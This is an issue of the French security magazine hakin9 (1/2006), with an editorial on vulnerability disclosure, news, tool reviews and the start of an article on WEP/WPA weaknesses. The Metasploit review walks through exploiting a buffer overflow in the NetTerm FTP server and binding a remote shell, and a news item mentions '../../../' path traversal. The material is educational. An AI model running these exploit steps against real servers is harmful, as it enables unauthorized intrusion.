hakin9.live - index

Transcription

hakin9.live - index
Actus
Secrétaire de rédaction :
Tomasz Nidecki
Fromage suisse dans un papier
d'aluminium
Récemment, une trame très intéressante sur la liste de diffusion Full-Disclosure a attiré mon regard. Il s'agissait d'une
très vive discussion qui a eu lieu concernant les questions
éthiques sur les révélations publique des vulnérabilités. Le
cas était le suivant, un pentesteur a contacté un éditeur en
l'informant sur le fait qu'il avait trouvé une faille dans son
programme. Le niveau d'adrénaline de l'éditeur s'est alors
levé, et ce n'était pas à cause du fait que quelqu'un voulait
l'aider, mais parce qu'il connaissait depuis longtemps cette
vulnérabilité et qu‘il ne souhaitait pas qu'elle soit révélée au
grand public.
Dans ce genre de cas, il faut parfois réfléchir à combien de
failles importantes il y a dans ces programmes. Les éditeurs et
revendeurs les savent très bien en les cachant au lieu de les
corriger. On doit aussi se demander, à savoir si ces failles sont
purement accidentelles, ou si, peut-être elles sont exploitées
comme des logiciels espions (cf. la page 66) par les éditeurs
eux-mêmes. Je peux paraître ici un peu paranoïaque, mais
cette idée ne vous est-elle jamais venu à l'idée ?
La politique de dissimulation les vulnérabilités détectées
et de promesse aux utilisateurs une sécurité très élevée, en
leur offrant en réalité un morceau de fromage suisse emballé
dans un papier d'aluminium (semble nouveau et brillant alors
que de l'intérieur il sent mauvais et il est plein de trous) n'est
pas une politique nouvelle pour de grands éditeurs de logiciels
tels que Microsoft (cf. la page 36) ou Oracle (cf. la page 28).
Sinon pourquoi les éditeurs aureient-ils des scrupules sur la
révélation de ces vulnérabilités, s'ils n'avaient pas chercher
à mentenir à leurs utilisateurs sans aucuns scrupules ?
Ce n'est pas tellement qu'on se soucie des éditeurs qui
mentent, mais plutôt bien parce qu'on se soucie des utilisateurs de ces logiciels. Si un bogue est révélé au public,
les utilisateurs d'un programme douteux peuvent devenir un
objectif potentiel d'attaquants. Mais que se passerait-il si la
faille n'était pas révélée ? Les utilisateurs peuvent être attaqués (par ceux qui sont informés sur le bogue), mais ils ne
le trouveront probablement jamais (vu que le bogue n'a pas
été révélé), et le bogue ne sera jamais corrigé par l'éditeur
(pourquoi faire ? ...). Quelle est la situation la pire ?
Personnellement, je suis alors entièrement pour l'idée
de la révélation au grand publi que de ces informations. Et
l'attitude de notre magazine en témoigne.
Tomasz Nidecki
[email protected]
4
hakin9 Nº 1/2006
06
Marek Bettman/Tomasz Nowak
Vous trouverez ici les nouvelles du monde de la sécurité des systèmes informatiques.
CD-ROM – hakin9.live
08
Robert Główczyński/Wojciech Trynkowski
On vous présente le contenu et le mode de fonctionnement de la version récente de notre principale distribution hakin9.live.
Outils
GFI LANguard
Network Security Scanner
10
Tomasz Nidecki
À l'aide d'un scanner le plus connu, on analyze la
sécurité d'un serveur dans un réseau local.
Metasploit Framework
11
Carlos García Prado
Cet article présente comment effectuer un simple
pentest d'un programme suspect à l'aide de
Metasploit Framework.
Dossier
Sécurité Wi-Fi
– WEP, WPA et WPA2
12
Guillaume Lehembre
L'article vous présente les faiblesses des méthodes
utilisées pour le chiffrage des connexions sans fil.
L'auteur explique en détail les principes du fonctionnement de WPA et WPA2. Il vous montre aussi
comment briser la protection des sécurité WEP,
WPA et WPA2.
Focus
Rootkits sous Oracle
Alexander Kornbrust
28
Grâce à cet article vous découvriez en quoi consiste la conception des rootkits dans les bases de
données. Vous connaîtrez la manière d‘écrire un
simple rootkit fonctionnant dans une base de données Oracle. On vous décrit aussi les méthodes
pour se protéger contre les rootkits de base de
données et les directions potentielles du développement de ces méthodes d'attaque.
www.hakin9.org
Le périodique
est publié par
Software-Wydawnictwo Sp. z o.o.
Piaskowa 3, 01-067 Varsovie, Pologne
Tél. +48 22 887 10 10, Fax. +48 22 887 10 11
www.hakin9.org
Sécurité de Windows
Server 2003
Directeur de la publication : Jarosław Szumski
36
Rudra Kamal Sinha Roy
Analyser la sécurité du système Windows Server 2003
est le but de cet article. Vous apprendrez les mécanismes implémentés par Microsoft pour mieux protéger
les utilisateur et les façons de les détourner. L'article
vous presente les principes de la protection du système
Windows Server 2003.
Pratique
Système IPS basé sur Snort
48
Michał Piotrowski
Cet article vous explique comment au moyen d'un
ordinateur classique, de trois interfaces et d'un logiciel gratuit Snort, construire un système efficace de
protection contre les attaques (IPS). L'installation et
la configuration d'un tel système seront présentées.
Fiche technique
Tours de passe-passe pour
pare-feux
54
Imprimerie, photogravure : 101 Studio, Firma Tęgi
Ekonomiczna 30/36, 93-426 Łódź
Imprimé en Pologne/Printed in Poland
Abonnement (France métropolitaine) : 1 an (soit 6 numéros) 38 €
DOM/TOM, étranger : nous consulter
Dépôt légal : à parution
ISSN : 1731-7037
Distribution : MLP
Parc d’activités de Chesnes, 55 bd de la Noirée
BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX
(c) 2005 Software-Wydawnictwo, tous les droits réservés
Chef de produit : Magdalena Grzmiączka
[email protected]
Secrétaire de rédaction : Tomasz Nidecki [email protected]
Préparation du CD : Robert Główczyński, Wojciech Trynkowski
Maquette : Anna Osiecka [email protected]
Couverture : Agnieszka Marchocka
Traduction : Grażyna Wełna, Marie-Laure Perrotey, Aneta Lasota,
Paul Muraille
Correction : Jérémy Fromaget, Gilles Gaffet, Pierre-Emmanuel
Leriche, Gilles Fournil, Pierre Mennechet, Jeremy Canale, Pierre Aure,
Beb Sabeur Soufiene, Patrick Fernandez
Les personnes intéressées par la coopération sont priées de nous
contacter : [email protected]
Abonnement : [email protected]
Fabrication : Marta Kurpiewska [email protected]
Diffusion : Monika Godlewska [email protected]
Publicité : [email protected]
Oliver Karow
Si vous êtes intéressé par l’achat de licence de publication de revues
merci de contacter :
Monika Godlewska
e-mail : [email protected]
tél : +48 (22) 887 12 66
fax : +48 (22) 887 10 11
Méthodes d'infection par un
logiciel espion
La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour,
pourtant elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas
de support technique lié à l’installation ou l’utilisation des logiciels enregistrés
sur le CD-ROM. Tous les logos et marques déposés sont la propriété de leurs
propriétaires respectifs.
Vous trouverez ici les méthodes pour détourner les
pare-feux. L'article vous présente comment s'en
servir dans la pratique. Vous serez comment configurer les pare-feux pour éviter ces types des attaques.
66
Christiaan Beek
Grâce à cet article vous apprendrez les méthodes
exploitées pour la contamination du système Windows par les programmes de type spyware. On vous
enseigne comment se protéger contre ces dangers
et comment éliminer les programmes non sollicités
quand les paquets conçus à cet effet échouent.
La rédaction utilise le système PAO
Éditorial – Fausses idées sur la
sécurité informatique
FR
PL
CZ
IT
DE
ES
80
Pour créer les diagrammes on a utilisé le programme
Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data
Software Sp. z o.o.
La revue hakin9 est publiée en 7 versions :
EN
Stephano Zanero
Les idées les plus fausses répendues sur la sécurité
informatique.
Dans le prochain numéro
82
Magdalena Grzmiączka
Les articles qui seront publiés dans le numéro de
hakin9 à venir.
www.hakin9.org
AVERTISSEMENT
Les techniques présentées dans les articles ne peuvent
être utilisées qu'au sein des réseaux internes.
La rédaction du magazine n'est pas responsable de
l'utilisation incorrecte des techniques présentées.
L'utilisation des techniques présentées peut provoquer la
perte des données !
hakin9 Nº 1/2006
5
Actus
Ventes d'enfants sur les
services d'enchères
La police chinoise enquête sur
une annonce en ligne qui offrait
des bébés à vendre sur la filiale
chinoise du site d’enchères eBay.
L’annonce offrait des bébés
garçons pour la somme de 28 000
yuan (3450 USD) et des petites
filles à rabais pour 13 000 yuan
(1600 USD). Il se peut que se
ne fut qu'une plaisanterie, mais
l'annonce a été traitée très sérieusement car les ventes des enfants
devient en Chine un problème
important.
Le trafic des enfants étroitement
lié à la politique chinoise d'un
enfant dans une famille et à la tradition qui apprécie plus les garçons
que les filles. Les tribunaux ont
déjà prononcé quelques peines
capitales liées à cette affaire. Sur
l'enchère en question, un utilisateur
Chuangxinzhe Yongyuan garantissait la livraison des enfants jusqu'à
cent jours suivant la naissance des
poupons. Tous seraient provenus
de la province de Henan en Chine
centrale. Avant d'être supprimée,
l'enchère a été visitée par 50
personnes.
Coupable ou pas
coupable ?
Un Londonien, Daniel Cuthbert,
a été jugé coupable d'avoir violé
le premier paragraphe de la loi
sur les infractions informatiques,
c'est-à-dire d'avoir eu un accès
non autorisé au système auquel
il n'avait pas le droit à accéder.
Cuthbert a obtenu un accès non
autorisé au serveur hébergeant
le site fonctionnant en faveur des
victimes du tsunami en Asie. Il
a été condamné d'une amende
de 1000 livres (le procureur a
demandé beaucoup plus).
Et ce n'était pas bizarre, mais
Cuthbert a obtenu l'accès aux
zones non destinées au public
en ajoutant à la fin de l'adresse
dans le navigateur les caractères
../../../. De plus, pendant l'audience,
il expliquait qu'il voulait vérifier si
c'était un vrai site ou une tentative
de phising. Le tribunal a pris en
considération le fait qu'il n'a causé
aucun dommage sur le site auquel
il s'attaquait.
6
hakin9 Nº 1/2006
IT Underground
L
es 12-13 octobre 2005 à Varsovie, la troisième édition de la
conférence IT Underground a eu
lieu. Les participants sont venus
du monde entier (Suisse, Belgique,
Allemagne, Singapour, Pologne).
Quatorze conférenciers, spécialistes en Allemagne, Israël, Autriche,
Pologne, Italie, des États Unis, ont
présenté leurs cours ainsi que des
ateliers supplémentaires.
L'invité spécial, Ofir Arkin, a
inauguré le premier jour de la conférence. Arkin s'est concentré sur
les méthodes traditionnelles de
reconnaissance de l'infrastructure
réseau et a présenté de nouvelles
solutions à ce sujet. Ce jour-là,
l'une des présentations les plus
intéressantes (d'après l'avis des
participants), était le cours de
Tomasz Nidecki sur le spam. Ce
cours a été considéré comme intéressant parce qu'il était possible de
l'appliquer dans la pratique.
Pendant l'ITU, on pouvait aussi
participer aux ateliers. Le premier,
tenu par Michał Szymański, concernait les rootkits pour Windows
fonctionnant en mode utilisateur.
Les exercices – conformément à
la formule BYOL (Bring Your Own
Laptop) – étaient faits par les participants sur leurs propres ordinateurs.
Le second, préparé par Piotr Sobolewski, concernait la sécurité relatives aux chaînes de format.
Le hit de la deuxième journée
était la sécurité du bluetooth. La
présentation était très spectaculaire – les cellulaires sonnaient et
envoyaient des SMS toute seule,
ainsi que le téléchargement distant
des carnets d'adresses et autres
astuces.
Les représentants de la presse
du monde entier ont aussi participé
à la session. La rédaction de hakin9
a pris contact avec le plus grand site
français consacré à la sécurité http://
www.vulnerabilite.com.
La rencontre avec Aurélien
Cabezon, son coauteur, permet d'espérer une collaboration fructueuse
dont les résultats réjouiront sans
doute les lecteurs de hakin9 et les
visiteurs du site vulnerabilite.com.
La cinquième édition de conférence IT Underground aura lieu les
23-24 février 2006. On vous invite
alors à Prague !
Botnets de plus en plus nombreux
D
'après de nouvelles preuves
concernant trois Hollandais
accusés d'avoir construit un botnet
international de machines zombies,
le nombre de celles-ci dépasse
considérablement le nombre estimé
au début ! Les personnes arrêtées
sont suspectées d'avoir exploité les
ordinateurs infecté du troyen Toxbot
pour voler les numéros des cartes
crédit et de faire du chantage à des
entreprises en les menaçant des
attaques de types DDoS.
Les procureurs ont informé que
le nombre de machines zombies
www.hakin9.org
dépasse considérablement celui
estimé au début. Ces données proviennent des analyses effectuées
par GOVCERT hollandais (l'équipe
de réaction rapide pour les ordinateurs). Le porte-parole du parquet
hollandais, Wim de Bruin, a dit que
cette information ne sera pas sans
influence sur le verdict. Il y a une
différence si quelqu'un casse les
vitres dans une maison ou dans la
rue entière – a dit Bruin. D'autres
suspects liés à cette affaire seront
bientôt arrêtés.
Actus
Nouvelle face de l'entreprise de
Redmond
D
'après les déclarations de Neil
Holloway, président de Microsoft EMEA, la sortie de Windows
Vista sera reportée pour des raisons
de sécurité qui est, évidemment
pour Microsoft, la priorité. Holloway
a aussi annoncé des changements
dans le Microsoft EMEA.
Il a avoué que Microsoft a eu
certains retards en ce qui concerne
les questions de sécurité, mais il n'a
pas l'intention de déposer les armes.
Les spécialistes de la société de
Redmond, pour la seconde fois dans
l'histoire, ont invités les hackers à discuter sur la sécurité de leurs produits.
Le siège de MS a été visité par les
hackers qui participaient auparavant
à la conférence Black Hat, pendant
laquelle on a présenté IE7. Les hackers éthiques se sont rencontrés avec
les ingénieurs de Microsoft et ont parlé
à peu près de tout : en commençant
par la sécurité du navigateur jusqu'aux
dangers relatifs au matériel.
Les résultats de cette collaboration seront bientôt connus. Par
contre, les autres annonces de
Holloway ressemblent aux excuses
de l'Église pour la Sainte Inquisition.
Premièrement, le président assure
que son entreprise prend en compte
les critiques et implémente les modifications appropriées. Il demande de
ne pas la considérer comme arriérée
ou trop bureaucratisée.
L'année prochaine, Microsoft sortira sur le marché deux fois plus de
programme qu'elle a élaborés pendant
les trois dernières années. Ce résultat
pourra être atteint grâce à la collaboration avec de petites sociétés (environ
cent mille fournisseurs de programmes collaborent avec MS – suivant les
représentants du géant).
Ce qui a apporté un bénéfice
important, est aussi le six milliards
de dollars américains investis dans
la recherche et le développement
ainsi que les célèbres trois mille
brevets, considérés par Holloway
comme superimportants. Mais il n'a
pas dit s'ils étaient importants pour
le développement des programmes
ou pour la lutte contre la concurrence.
Le président a aussi assuré que
l'organisation de l'entreprise avait
changé et que les décisions n’étaient
pas prises seulement par Gates ou
Ballmer. Cette dernière information
donne à réfléchir...
DVD Jon embauché par le propriétaire
de Linspire
J
on Lech Johansen, un hacker norvégien connu sous le nom de DVD
Jon, a été embauché par l'entreprise
MP3tunes, appartenant à Michael
Robertson (propriétaire de l'entreprise
Linspire). La tâche de DVD Jon consistera à introduire la musique numérique au XXIème siècle – ce qui a été
annoncé par Robertson lui-même.
Johansen a dû déménager à
San Diego aux États Unis. En tant
qu'ingénieur programmeur, DVD
Jon collaborera au nouveau projet
multimédia baptisé Oboe (que sera
probablement un programme-client
d'un service musical).
Il faut rappeler que Michael
Robertson s'occupe depuis longtemps de la distribution de la musi-
que via Internet – c'est lui qui a créé
le service MP3.com (qu'il a ensuite
vendu à Vivendi Universal). Robertson s'est engagé beaucoup de fois
auprés de plusieurs entreprises : il
a investi dans la société Lindows
(dénommée ensuite en Linspire)
qui a créé le système d'exploitation
basé sur Linux.
Jon Lech Johansen est devenu
célèbre pour avoir créé le programme
DeCSS ôtant le cryptage CSS des
DVDs (il a été accusé devant la justice,
mais après de nombreux appels, le
tribunale norvégien l'a reconnu innocent). Ensuite, il a réussi à supprimer
les cryptages des fichiers distribués
par le magasin en ligne iTunes et
casser le protocole AirTunes.
www.hakin9.org
Secret des points jaunes
Est-il possible d'identifier le
périphérique qui a imprimé un
document ? Suivant la fondation
Electronic Frontier Foundation,
la plupart des imprimantes laser
couleur impriment sur chaque
page du code à barre invisible
contenant les informations du
périphérique et les dates et
heures de l'impression.
Electronic Frontier Foundation,
une institution dont le but est
de défendre la liberté d'expression sur Internet, a analysé
les impressions de plusieurs
périphériques et pour l'instant,
elle a réussi à déchiffrer le code
des imprimantes couleur Xerox.
L'information était composée de
points jaunes d'une diamètre
inférieure à 1 mm, qui ne sont
visibles qu'au moyen d'un verre
grossissant ou sous une lumière
bleue. Le gouvernement des
États Unis a imposé à certains
fabricants des imprimantes laser
couleur d'installer ce type de
protection pour aider les agences
d'état à poursuivre les faux-monnayeurs.
La liste complète d’imprimantes
imprimant le code en points jaunes
est disponible sur le site d'Electronic Frontier Foundation. D'après
l'avis de l'organisation, d'autres
périphériques (pas prise en compte
sur la liste) laissent aussi leurs
marques, par exemple sous forme
de filigranes pour permettre l'identification ultérieure des périphériques d'impression.
Fin de l'anonymat pour les
crackers
Les coordonnées de l'assistant
à l'Université Dunedin (Otago,
Australie), qui s'introduisait dans
les systèmes informatiques des
entreprises américaines, ont été
révélées après plus de 2 ans de
lutte alors qu’il essayait de rester
anonyme. Timothy Molteno
(38 ans), est la première personne jugée suivant la nouvelle
loi sur la criminalité informatique.
Il a été jugé coupable il y a presque 20 mois. Molteno a été condamné à 200 heures de travaux
sociaux et à payer une amende
de douze mille dollars
à titre d'indemnité.
hakin9 Nº 1/2006
7
CD-ROM
hakin9.live
L
e CD joint au magazine contient hakin9.live (h9l)
en version 2.8-ng – une version bootable de Linux
contenant des divers outils, de la documentation,
des tutoriaux et les matériaux complémentaires aux
articles. Pour commencer le travail avec hakin9.live, il
vous suffit de démarrer l'ordinateur à partir du CD fournit.
Après le démarrage du système, vous pouvez ouvrir la
session en tant qu'utilisateur hakin9 sans mot de passe.
Pour la première fois, il vous est possible d'installer cette
version de h9l sur le disque dur.
La structure des répertoires se présente comme suit :
•
•
•
•
•
•
•
doc – la documentation au format HTML,
hit – GFI LANguard Network Security Scanner,
un des scanners de sécurité les plus connus au
monde; une version complète pour les lecteurs de
hakin9 (pour 5 adresses IP) ; vous pouvez obtenir
le numéro de série sur : http://www.gfi.com/pages/
hakin9offer.htm,
art – matériaux complémentaires aux articles : listings, scripts, programmes indispensables,
tut – tutoriaux,
add – livres et autres documents au format PDF (entre
autres Firewall Piercing. Creative Exploitation of Valid
Internet Protocols, Firewall Piercing mini HOWTO,
Database Rootkits, Circumvent Oracle's Database),
adv – matériaux publicitaires (Core Impact – Rapid
Penetration Test – Flash demo),
rfc – documents contenant les RFC actuels.
Les anciens outils se trouvent dans le sous-répertoire
_arch, par contre les nouveaux – sont dans les répertoires principaux à l'image de la structure ci-dessus. Si vous
parcourez le CD, cette structure est disponible dans le
sous-répertoire /mnt/cdrom.
La version 2.8-ng h9l est basée sur la distribution
Linux Gentoo et les scripts sur livecd-tools. Les outils
non disponibles dans le référentiel Gentoo sont installés
Figure 1. Nouveaux outils indispensables
8
hakin9 Nº 1/2006
à partir des paquets du répertoire /usr/local/portage ou
chargés dans le répertoire /usr/local/bin.
Il y a eu un esemble de modifications par rapport à
la version h9l 2.7-ng, tout d'abord le noyau a été mis à
jour (actuellement en version 2.6.13.3 avec les patches
gentoo-sources-2.6.13-r3). Le support de VLAN et les
pilotes ATM et DSL ainsi que ceux pour les WinModems
(ltmodem, slmodem, intel536) ont été ajoutés. L'environnement graphique Xfce 4 a été supprimé, a contrario les
bibliothèques statiques restent inchangées.
La nouvelle h9l intègre un installeur (scripts Knoppix
modifiés). Après l'installation sur le disque, il est possible
d'utiliser portage (la commande emerge) pour installer
des logiciels supplémentairs. Fluxbox avec le gestionnaire de fichiers ROX est l'environnement graphique
utilisé sur h9l.
La version actuelle de h9l contient entre autres :
•
•
•
VConfig – la configuration du réseau VLAN (Virtual
LAN),
qtwvdialer – une interface graphique pour wvdial,
dd_rescue – un logiciel de récupération de données
à partir de supports endommagés.
Tutoriaux et documentation
La documentation contient, entre autres, les tutoriaux préparés par la rédaction avec les exercices pratiques. Les
tutoriaux sont conçus pour être utilisés sur hakin9.live.
Grâce à cette solution, vous évitez tous les problèmes
relatifs aux différentes versions de compilateurs, à la
localisation de fichiers de configuration ou aux autres options nécessaires pour démarrer les programmes dans
un environnement donné.
Dans la présente version de hakin9.live, outre les tutoriaux des numéros précédents mis à jour, un nouveau
tutoriel à été ajouté. Il décrit la création d'un IPS à partir de
Snort. Le tutoriel est un complément pour l'article Système
IPS basé sur Snort de Michał Piotrowski (cf. page 48). l
Figure 2. À la une de ce numéro – GFI LANguard
Network Security Scanner
www.hakin9.org
S’il vous est impossible de lire le CD, et ce dernier n’est pas endommagé mécaniquement, essayez de le lire au moins dans 2 lecteurs.
En cas de problème avec votre CD, envoyez-nous un
message à l’adresse suivante : [email protected]
GFI LANguard Network
Security Scanner
Outils
Système : Windows
Licence : Commerciale/gratuiciel (en fonction de la version)
But : Scannage et évaluation du niveau de sécurité
Page d'accueil : http://www.gfi.com/
GFI LANguard Network Security Scanner permet de scanner un ou plusieurs
ordinateurs dans le réseau. À la suite du scannage, vous obtenez l'évaluation
de la sécurité et une liste de points faibles.
Démarrage rapide : Admettez que vous voulez évaluer
la sécurité d'un des ordinateurs de votre réseau fonctionnant comme serveur. Lancez LANguard installé au
préalable, et ensuite, vous cliquez sur New Scan disponible sur la barre d'outils supérieure du programme. Dans
la liste déroulante Scan Type, vous choisissez l'option
Single computer (ordinateur seule). Bien sûr, si vous
voulez scanner simultanément plusieurs ordinateurs,
vous pouvez choisir une des options disponibles (par
exemple, la liste d'ordinateurs, la plage d'adresses, le
domaine). Vous sélectionnez Another Computer et vous
entrez l'adresse IP de la machine à scanner.
Ensuite, vous choisissez le profil de scannage. LANguard offre quelques profils de base et permet de créer
les profils personnalisés. Pour consulter les types des tests
entrant dans un profil donné, il faut cliquer sur Configuration->Scanning Profiles dans la fenêtre Tools Explorer. Il
est recommandé d'effectuer la première analyse à partir
du profil par défaut (Default). Si l'on scanne des machines
n'appartenant pas au réseau local, le profil Slow Networks
est fort utile (il permet les latences dans la communication).
Après avoir sélectionné le profil (dans votre cas
Default), cliquez sur OK et attendez jusqu'à ce que LANguard termine le scannage. Les brèves descriptions des
actions effectuées sont disponibles dans la fenêtre Scanner Activity Window. Une fois le scannage terminé, dans
la fenêtre Scanned Computers cliquez sur le caractère +
accompagnant le symbole et l'adresse de l'ordinateur.
Les options disponibles s'affichent (leur nombre dépend
du profil sélectionné et des résultats de l'analyse). Si vous
cliquez sur Vulnerabilities dans la fenêtre Scan Results,
la liste des failles trouvées est affichée. Les failles sont
divisées en très dangereuses (High security vulnerabilities), moyennement dangereuses (Medium...) et peu
dangereuses (Low...). Hormis une courte description de
l'erreur, vous obtenez aussi l'identificateur de la liste Bugtraq ou un lien à la page décrivant la faille donnée.
Après un clic dans la fenêtre Scanned Computers sur
l'icône Open TCP Ports, vous obtenez dans la fenêtre Scan
Results, la liste des ports TCP ouverts avec les informations
provenant de LANguard sur les programmes fonctionnant
sur le port donné. LANguard possède aussi les mécanismes pour le relevé de l'empreinte digitale (le nom du système d'exploitation reconnu se trouve à côté de l'adresse de
la machine dans la fenêtre Scanned Computers). Un double
clic sur le numéro du port dans la fenêtre Scan Results
lance automatiquement le telnet sur le port donné.
Les rapports de l'analyse de la machine peuvent être
consultés ou enregistrés au format HTML (uniquement la
version commerciale) après un clic sur l'option sélectionnée
de la liste Scan Filters (Current Scan) dans la fenêtre Tools
Explorer, et ensuite sur l'icône représentant une disquette
disponible sur la barre d'outils supérieure du programme.
Autres qualités :
• permet le scannage automatique à des heures précises, l'envoi des rapports via email,
• télécharge automatiquement (pendant chaque lancement) les mises à jour des bases de données contenant
les informations sur les failles, les correctifs, etc.
Défauts : La plupart des options avancées (telles que
scannage automatique et le reporting) ne sont disponibles qu'en version commerciale. Dans la version de
démonstration, ces options deviennent inactives après
30 jours de l'utilisation et LANguard peut être utilisé sous
les termes de la licence freeware.
Tomasz Nidecki
ATTENTION !
La liste des failles trouvées lors du scannage
10
hakin9 Nº 1/2006
L'entreprise GFI offre aux lecteurs de hakin9 la version complète du programme limitée à 5 adresses IP. Pour en profiter,
il faut installer la version disponible sur hakin9.live, et ensuite,
s'enregistrer sur le site de l'éditeur (http://www.gfi.com/pages/
hakin9offer.htm) pour obtenir via email le code série du programme. L'offre expire le 31 mars 2006.
www.hakin9.org
Outils
Metasploit Framework
Système : Windows, Linux, Mac OS X, Solaris, FreeBSD
Licence : GPL v2
But : Environnement de développement pour les tests d'intrusion et la création
d'exploits
Page d'accueil : http://www.metasploit.com/
Metasploit est un environnement de développement conçu pour faciliter le travail des personnes effectuant les tests d'intrusion et s'occupant de la sécurité
réseau. Il contient une bibliothèque complète d'exploits et des outils servant à la
création de nouveaux exploits.
Démarrage rapide : Admettez que les périphériques dans
votre réseau utilisent le serveur FTP NetTerm NetFtpd sous
la surveillance du système d'exploitation Windows 2000.
Puisque vous savez que les anciennes versions de ce serveur été vulnérables aux attaques, vous voulez vérifier la
sécurité de votre installation. Pour cela, vous vous servirez
de msfconsole issu de Metasploit Framework.
Metasploit stocke les paramètres indispensables des
variables d’environnement. Il suffit de donner les valeurs de
certains paramètres pour pouvoir utiliser un exploit voulu.
Commençez par choisir l'exploit à utiliser. La commande
show exploits affiche la liste des exploits disponibles.
Ensuite, au moyen de la commande use netterm _ netftpd _
user _ overflow, chargez l'exploit qui exécute le débordement
de tampon. Il faut remarquer que l'invite change.
Dans l'étape suivante, entrez l'adresse de l'hôte à tester
en paramétrant la variable d’environnement à l'aide de la
commande set RHOST 10.0.0.1. Il ne faut pas oublier que les
variables d’environnement doivent être écrites en majuscules. Vous pouvez déterminer le port de l'hôte distant à l'aide
de la commande set RPORT 21. Bien que cela paraisse inutile, c'est une méthode à adopter dans la pratique.
Il faut remarquer que la modularité caractéristique
pour Metasploit permet de lier différents types de charges dans un exploit. Ainsi, il est facile de trouver celui qui
satisfait à vos besoins. La liste de charges est disponible
par la commande show payloads. Dans votre cas, vous
utiliserez win32 _ bind qui vous connectera au shell distant
sur le port déterminé, ici 4444. Pour cela, tapez la commande set PAYLOAD win32 _ bind.
Maintenant, vous pouvez démarrer l'exploit à l'aide de
la commande exploit. La Figure 1 montre que l'attaque
a réussi et vous avez obtenu l'accès au shell du système
Windows sur l'hôte distant. Vous pouvez démarrer une
commande quelconque avec les droits d'utilisateur qui
a lancé l'application, et dans le cas du système Windows,
ce sont souvent les droits d'administrateur. L'utilisateur
doit être averti que ses programmes FTP exigent une
modification ou une mise à jour.
Autres qualités : Metasploit constitue aussi une plateforme très importante permettant le développement d'exploits et de shellcodes. Il contient beaucoup d'outils
destinés à analyser les fichiers exécutables, aussi bien
au format ELF (Linux) que PE (Windows). Il comprend
aussi les outils servant à capturer le contenu de la mémoire du processus en cours de son exécution, ce qui facilite l'analyse par le biais des instructions et des adresses
de retour.
Les utilisateurs débutants de Metasploit retrouveront
une interface Web très conviviale. Après le démarrage du
programme msfweb, vous pouvez y accéder à l'adresse
http://localhost:55555. Elle offre les mêmes fonctions
que l'interface texte, mais est plus facile d'emploi.
Il faut dire que la mise à jour de la bibliothèque d'exploits
est très facile, il suffit de taper une seule commande.
Défauts : L'interface Web sert à démarrer les exploits.
D'autres éléments de la fonctionnalité de Metasploit Framework ne sont disponibles qu'au niveau de la console.
Figure 1. Démarrage de l'un des exploits
Figure 2. Metasploit web interface
www.hakin9.org
Carlos García Prado
hakin9 Nº 1/2006
11
Sécurité Wi-Fi – WEP, WPA
et WPA2
Dossier
Guillaume Lehembre
Degré de difficulté
Le Wi-Fi (Wireless Fidelity) est une des technologies sans
fil dominante actuellement avec un support de plus en plus
intégré dans les équipements : ordinateurs portables, agendas
électroniques, téléphones portables, etc. Malheureusement,
un aspect de la configuration est souvent oublié et méconnu :
la sécurité. Voyons un peu le niveau de sécurité des différents
systèmes de chiffrement pouvant être utilisés dans les
implémentations modernes du Wi-Fi.
M
ême quand les mécanismes de sécurité sont activés sur les équipements
Wi-Fi, on constate dans la majorité
des cas qu'il s'agit du protocole de chiffrement
WEP s'étant avéré faillible. Dans cet article, nous
examinerons les failles du protocole WEP et la
facilité de casser le protocole. L'inadéquation du
WEP souligne les besoins d'une nouvelle architecture de sécurité : la norme IEEE 802.11i, que
nous détaillerons avec les implémentations du
WPA et du WPA2, leurs premières vulnérabilités
mineures et leurs implémentations dans les systèmes d'exploitation.
La mort du WEP
Le WEP (Wired Equivalent Privacy) est le protocole de chiffrement par défaut introduit dans
la 1ère norme 802.11 datant de 1999. Il est basé
sur l'algorithme de chiffrement RC4 avec une clé
secrète de 40 ou 104 bits combinée à un vecteur d'initialisation (Initialisation Vector – IV) de
24 bits afin de chiffrer un message en clair M et
sa somme de contrôle (checksum) – l'ICV (Integrity Check Value). Le message chiffré est alors
déterminé en utilisant la formule suivante :
où || représente l'opérateur de concaténation
et + l'opérateur XOR. Le vecteur d'initialisation
est la clé de voûte de la sécurité du WEP, pour
maintenir un niveau décent de sécurité et éviter
la fuite d'information l'IV doit être incrémenté
pour chaque paquet afin que le paquet suivant
soit chiffré avec une clé différente. Malheureusement pour la sécurité du protocole, l'IV est
transmis en clair et le standard 802.11 ne rend
pas obligatoire l'incrémentation de l'IV laissant
cette mesure de sécurité au bon vouloir de
Cet article explique...
•
•
•
•
Ce qu'il faut savoir...
•
•
C = [ M || ICV(M) ] + [ RC4(K || IV) ]
12
hakin9 Nº 1/2006
les failles du protocole WEP,
une vue globale de la norme 802.11i et de ses
implémentations commerciales : le WPA et le
WPA2,
les notions de base du 802.1x,
les failles potentielles du WPA et du WPA2.
www.hakin9.org
les notions de base des protocoles TCP/IP et
Wi-Fi,
les notions de base de la cryptograpie.
Sécurité WEP, WPA et WPA2
l'équipement sans fil (point d'accès
ou carte sans fil).
La brève histoire du WEP
Le protocol WEP ne fut pas créé par
des experts sécurité ou du monde de
la cryptographie, il s'avéra faillible
à un problème de l'algorithme RC4
décrit par David Wagner quatre ans
auparavant. En 2001, Scott Fluhrer,
Itsik Mantin et Adi Shamir (FMS pour
faire court) publièrent leur fameux
papier sur la sécurité WEP dans
lequel ils détaillaient deux vulnérabilités dans l'algorithme de chiffrement RC4: l'invariance weaknesses
et l'attaque par IV connu. Ces deux
attaques reposent sur le fait que
pour certaines valeurs de la clé, il est
possible pour les 1er bits de la suite
chiffrante de dépendre uniquement
de quelques bits de la clé (normalement chaque bit de la suite chiffrante
a 50% de chance d'être différent du
bit de la suite chiffrante précédente).
Comme la clé est composée de la
concaténation d'une clé secrète
et de l'IV, certaines valeurs de cet IV
génèrent des clés dites faibles.
Ces vulnérabilités furent exploitées par des outils de sécurité tel Airsnort, permettant de retrouver la clé
WEP en analysant une importante
quantité de trafic chiffré. Cette attaque se révélait fructueuse dans un
temps raisonnable sur des réseaux
sans fil assez chargé au niveau trafic
mais nécessitait un temps de calcul
assez long. David Hulton (h1kari)
découvrit une amélioration de l'attaque précédente en ne prenant
pas uniquement en considération le
1er octet de la sortie de l'algorithme
RC4 (comme dans la méthode FMS)
mais aussi les suivants, cela permettant de réduire significativement la
quantité de données à capturer pour
l'analyse.
Le contrôle d'intégrité souffre
aussi de sérieuses failles dûes à l'utilisation de l'algorithme CRC32 choisi
pour cette tâche. Cet algorithme est
fréquemment utilisé pour la détection
